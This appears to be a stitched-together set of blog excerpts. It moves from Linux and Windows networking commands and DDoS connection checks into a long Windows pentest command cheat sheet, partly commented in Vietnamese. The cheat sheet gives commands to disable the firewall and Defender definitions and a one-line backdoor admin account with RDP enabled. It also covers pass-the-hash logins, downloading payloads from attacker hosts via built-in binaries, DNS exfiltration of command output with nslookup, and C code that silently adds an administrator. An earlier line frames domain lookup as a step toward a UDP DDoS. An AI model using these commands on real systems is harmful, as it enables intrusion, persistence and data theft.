gpasswd: change the password of a user group.
su: allow login as another user.
groups: displays the group of the current user.
who: indicates who is logged into the system.
w: same as who command.
man: view command line instructions such as syntax, parameters, etc.

Note: Linux operating system is case sensitive.

Collection Information

Denial of Service (DoS) attack can be described as an action that prevents legitimate users from accessing and using a certain service. It includes flooding the network, losing connection to the service… but the ultimate goal is that the server (Server) cannot meet the requests to use the service from the workstations (Client).

Today I would like to share some commands to check the Server when under DDOS attack:

– Count the number of connections to Port 80:

netstat -n | grep :80 |wc -l

– Check the number of connections in the SYN_RECV state:

netstat -n | grep :80 | grep SYN_RECV|wc -l

– Show all connected IPs and the number of connections from each IP:

netstat -an|grep :80 |awk '{print $5}'|cut -d":" -f1|sort|uniq -c|sort -rn

– If you want to check which IP opens many SYNs, add:

netstat -an|grep :80|grep SYN |awk '{print $5}'|cut -d":" -f1|sort|uniq -c|sort -rn

– For servers with multiple IPs, to check which IP is being attacked:

netstat -plan | grep :80 | awk '{print $4}'| cut -d: -f1 |sort |uniq -c

– Show all connected IPs and the number of connections from each IP:

netstat -an | grep ':80' | awk '{print $5}' | sed s/'::ffff:'// | cut -d":" -f1 | sort | uniq -c

– Displays the number of connections per type

netstat -an | grep :80 | awk '{print $6}' | sort | uniq -c

61 ESTABLISHED
 13 FIN_WAIT1
 17 FIN_WAIT2
 1 LISTEN
 25 SYN_RECV
 298 TIME_WAIT

– Displays all connected IPs and the number of connections from each IP

watch "netstat -an | grep ':80' | awk '{print $5}' | sed s/'::ffff:'// | cut -d":" -f1 | sort | uniq -c"

watch "netstat -an | grep :80 | awk '{print $6}' | sort | uniq -c"

Once you have detected an IP with unusual signs, you can use CSF to block that IP.

With just a few command lines, you can solve a big problem, instead of having to click on software with a graphical interface, sometimes it does not appear on the Windows interface, such as the nslookup command to find the IP address associated with the Domain…

If you are in use PowerShell or Command Prompt, the execution of these commands is the same in both tools. In this article, AnonyViet only briefly introduces 10 commands you will often use when solving problems related to computer networks.

ipconfig: Find computer IP address quickly

You can find your IP address from the Control Panel, but it takes a few clicks to get there.

Command ipconfig will help you quickly identify IP address your computer and other information, such as Gateway’s address to know which IP your computer’s network is routed to the Internet by

Expanding more than half would be the command ipconfig /all , with this command you will see more detailed information about MAC address of network card, DNS Server you’re using….

ipconfig /flushdns: help clear DNS cache

If you often change DNS to access the Website faster, or visit websites that are blocked by the network operator. For example, in the past, you used to change your DNS to Google’s 8.8.8.8 to access Facebook. However, there will be some cases Old DNS also cache (temporary memory) to reduce time Asking for Directions to the Internet, so some Website access will not be made, even if you have changed to DNS.

With the command ipconfig /flushdns will help you clear the cache of the old DNS, so that the computer will immediately ask for directions with the new DNS.

You should use the command ipconfig /flushdns as soon as I changed to another DNS.

Ping and Tracert: fix network connection problems

If you’re having trouble connecting to a website or a network connection error, Windows and other operating systems have built-in tools to help you determine the network connection status on your system.

Command ping

You use the structure ping địa-chỉ-website or ping địa-chỉ-IP 

Eg: ping anonyviet.com

Windows will now send packets to the address you just pinged, and on the screen will appear parameters about the packet sent, reply packet, response time ….

Simple if you see Request time out thi means disconnection

Still see Reply…. then it is connectable, if time The higher the speed, the slower the connection speed and vice versa

Command Tracert

Used to determine your network path. For example, if you want to find out, from your home computer, want to access AnonyViet, which IPs it will go through, use the command tracert anonyviet.com

For example, at home, the computer IP will go to the Internet Router IP, then to a series of VNPT gateways, then go through Hong Kong, and then to AnonyViet’s IP.

Shutdown: timer to shut down or restart the computer

This command helps you to shutdown at a preset time (in seconds).

You use with structure like this:

• shutdown /s /f /t 10 : Turn off the computer after 10 seconds
• shutdown /r /f /t 10: Restart the computer after 10 seconds

sfc /scannow: scan for Windows errors

This is a command to help check Windows system errors, if missing files or corrupted system files, the program will automatically fix errors and restore to help Windows work better.

nslookup: Find the IP address associated with a domain name

A domain name will be associated with one or more certain IPs, to determine what that domain’s IP is you can use the command nslookup

For example, you could type nslookup anonyviet.comGo to Command Prompt to quickly find out the IP address assigned to AnonyViet’s Server.

This is a way that you use to determine the Website IP to perform DDOS UDP

In this article, I will list the most common and basic CMD commands that Windows pentesters often use. Because this article is very technical in nature, I will not explain those commands in detail. But only briefly about the effect of the command. If you cannot use any command, then 1 is that you entered the wrong syntax, 2 is that the command is not installed on the system so it cannot be used.

System-related CMD commands for Pentester

First of all, why when hacking into Windows you need to know these basic commands. Because once you have enabled Shell on Windows, the next thing you need to do is turn off the Firewall, create a backup User for later Login again…

So mastering the commands below the Pentester will save more time when exploiting Windows vulnerabilities.

Version and patch information

View system architecture: wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture

Full system information: systeminfo

View OS name and version: systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

View patch: wmic qfe get Caption,Description,HotFixID,InstalledOn

Hostname: hostname

View third-party drivers: DRIVERQUERY 

Environment

List all environment variables: set

Some env variables to know:

• COMPUTERNAME: Computer name
• TEMP/TMP: Temp folder (save temporary files)
• USERNAME: Username
• HOMEPATH/USERPROFILE: Home Links
• windir: C:\Windows
• LOGONSERVER: Name of domain controller
• USERDNSDOMAIN: Domain using DNS
• USERDOMAIN: Domain Name

DNS request for PC: nslookup %LOGONSERVER%.%USERDNSDOMAIN%

Drive is connected

wmic logicaldisk get caption 2
wmic logicaldisk get caption,description,providername

Anti Virus

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
sc query windefend
Delete the privacy rules of Defender (intentional for machines without internet): "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Recycle Bin

dir C:\$Recycle.Bin /s /b

Processes, Services & Software

Details of scheduled tasks:

schtasks /query /fo LIST /v
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
List of processes: tasklist /V

Processes that enable services: tasklist /SVC

Active Windows Services: net start

List of services: wmic service list briefor sc query

Installed 64bit software: dir /a “C:\Program Files”

Installed 32bit softwares: dir /a "C:\Program Files (x86)"

Installed software: reg query HKEY_LOCAL_MACHINE\SOFTWARE

Domain Information

echo %USERDOMAIN% #Tên Domain
echo %USERDNSDOMAIN% #Tên Domain khi máy tính có đăng nhập vào Domain
echo %logonserver% #Tên domain controller
set logonserver #Tên domain controller
set log #Tên domain controller
net groups /domain #Danh sách domain group
net group "domain computers" /domain #Danh sách PC đã kết nối với domain
net view /domain #Danh sách PC của domain
nltest /dclist:<DOMAIN> #Danh sách domain controllers
net group "Domain Controllers" /domain #Danh sách tài khoản PC của domains controllers
net group "Domain Admins" /domain #Danh sách user có đặc quyền quản trị domain
net localgroup administrators /domain #Danh sách các admin group bên trong domain (bao gồm cả group "Domain Admins")
net user /domain #Danh sách tất cả user của domain
net user <ACCOUNT_NAME> /domain #Thông tin về user
net accounts /domain #View the domain’s current password and login limit
nltest /domain_trust #Mapping domain relationships

Logs & Events

Make a security query using the credentials: wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321

Users & Groups

Users

whoami /all #Tất cả thông tin về bạn
whoami /priv #Show only privileges
net users #Tất cả các user
dir /b /ad "C:\Users"
net user %username% #Thông tin về user (bạn)
net accounts #Thông tin về mật khẩu
qwinsta #Có ai khác đã đăng nhập không?
cmdkey /list #Danh sách các chứng chỉ
net user /add [username] [password] #Tạo user

#Mở cmd.exe mới với các creds mới (để mạo danh trong mạng)
runas /netonly /user:<USERNAME>\administrator cmd

#Kiểm tra phiên đăng nhập hiện tại với tư cách là quản trị viên bằng cách sử dụng phiên đăng nhập từ sysinternals. Đọc thêm here
logonsessions.exe
logonsessions64.exe

Groups

#Local
net localgroup #All groups exist
net localgroup Administrators #Thông tin về group group (admins)
net localgroup administrators [username] /add #Thêm người dùng vào administrators

#Domain
net group /domain #Thông tin về group domain
net group /domain <domain_group_name> #Người dùng thuộc group

List of sessions

qwinsta
klist sessions

Password Policy

net accounts

Add users to the group

# Thêm user domain vào Group Domain Admins
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Thêm local user vào group local Admins
net user username password /ADD
net localgroup Administrators username /ADD

# Thêm user vào các group khác:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add

Network

Interfaces, Routes, Ports, Hosts and DNSCache

ipconfig /all #Thông tin về interfaces
route print #Xem các routes hiện cóó
arp -a #Thông tin về host
netstat -ano #Các port đang mởở
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"

Firewall

Information about the firewall and open ports:

netsh firewall show state
netsh advfirewall firewall show rule name=all
netsh firewall show config # Thông tin firewall
Netsh Advfirewall show allprofiles
Turn off and on the firewall:

NetSh Advfirewall set allprofiles state off #Tắt Firewall
NetSh Advfirewall set allprofiles state on #Bật Firewall
netsh firewall set opmode disable #Tắt firewall
How to open ports:

netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
Enable Remote Desktop:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"

::netsh firewall set service remotedesktop enable #Không cần thiết
::sc config TermService start= auto #Unnecessary
::net start Termservice #Không cần thiết
Turn on Remote assistance:

reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
Ninja combo (new admin user, allow RDP + Rassistance + Firewall)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup “Remote Desktop Users” hacker /add & reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add “ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 “Remote Desktop” & netsh firewall set service remoteadmin enable
Connect to RDP (using hash or password)

xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49

Share

net view #Lấy danh sách máy tính
net view /all /domain [domainname] #Shares trên domains
net view \\computer /ALL #danh sách máy tính tham gia share
net use x: \\computer\share #Kết nối ổ với share
net share #Check current share

WIFI

netsh wlan show profile #Xem SSID của wifi từng kết nối

netsh wlan show profile <SSID> key=clear #Xem mật khẩu wifi

SNMP

Read this article to know what is SNMP?

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

Network Interfaces

ipconfig /all

ARP

arp -A

Download

Bitsadmin.exe

bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
CertReq.exe
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Certutil.exe
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
Desktopimgdownldr.exe
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr

Diantz.exe

diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab

Esentutl.exe

esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o

Expand.exe

expand \\webdav\folder\file.bat c:\ADS\file.bat

Extract32.exe

extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt

Findstr.exe

findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe

Ftp.exe

cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"

GfxDownloadWrapper.exe

C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"

Hh.exe

HH.exe http://some.url/script.ps1

ieexec.exe

ieexec.exe http://x.x.x.x:8080/bypass.exe

Makecab.exe

makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab

MpCmdRun.exe

MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable

Replace.exe

replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A

Excel.exe

Excel.exe http://192.168.1.10/TeamsAddinLoader.dll

Powerpnt.exe

Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"

Squirrel.exe

squirrel.exe --download [url to package]

Update.exe

Update.exe --download [url to package]

Winword.exe

winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"

Wsl.exe

wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'

Misc

cd #Đường dẫn hiện tại
cd folder #Truy cập vào thư mục
dir #Danh sách các thư mục và file trong đường dẫn hiện tại
dir /a:h *path #Danh sách các file ẩn
dir /s /b #Tất cả đường dẫn trong
time #Thời gian hiện tại
date #Ngày hiện tại
shutdown /r /t 0 #Tắt máy tính ngay lập tức
type <file> #Đọc file
Runas

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
Hide files

attrib +h file #Bật ẩn file
attrib -h file #Tắt ẩn file
Gives full control over the files you have

icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Xóa quyền
Recursively copy files
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
ADS (What is ADS?)

dir /r #Phát hiện ADS
more file.txt:ads.txt #Đọc ADS
powershell (Get-Content file.txt -Stream ads.txt)

Listen to the ACLs . address

You can listen http://+:80/Temporary_Listen_Addresses/ without admin rights
netsh http show urlacl

DNS shell

You use one of the following 2 options:

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

Victim
Skill for /f tokens _**_: Lets me execute the command, taking the first X word of each line and sending it via DNS to my server.

for /f %a in ('whoami') do nslookup %a <IP_kali> 
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> 
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #Danh sách thư mục
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #Liệt kê các thư mục đó
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Giống lệnh trước đó
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Giống lệnh trước đó

You can also redirect the output and then read it.

whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

Calling CMD from code C

#include <stdlib.h>

// Khi file được thực thi bởi Admin, chương trình này sẽ tạo một user và sau đó thêm user đó vào nhóm Admin
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}

The above are the basic pentest cmd commands for Windows, those who want to learn more about pentester can go to Anonyviet’s new Discord server Please.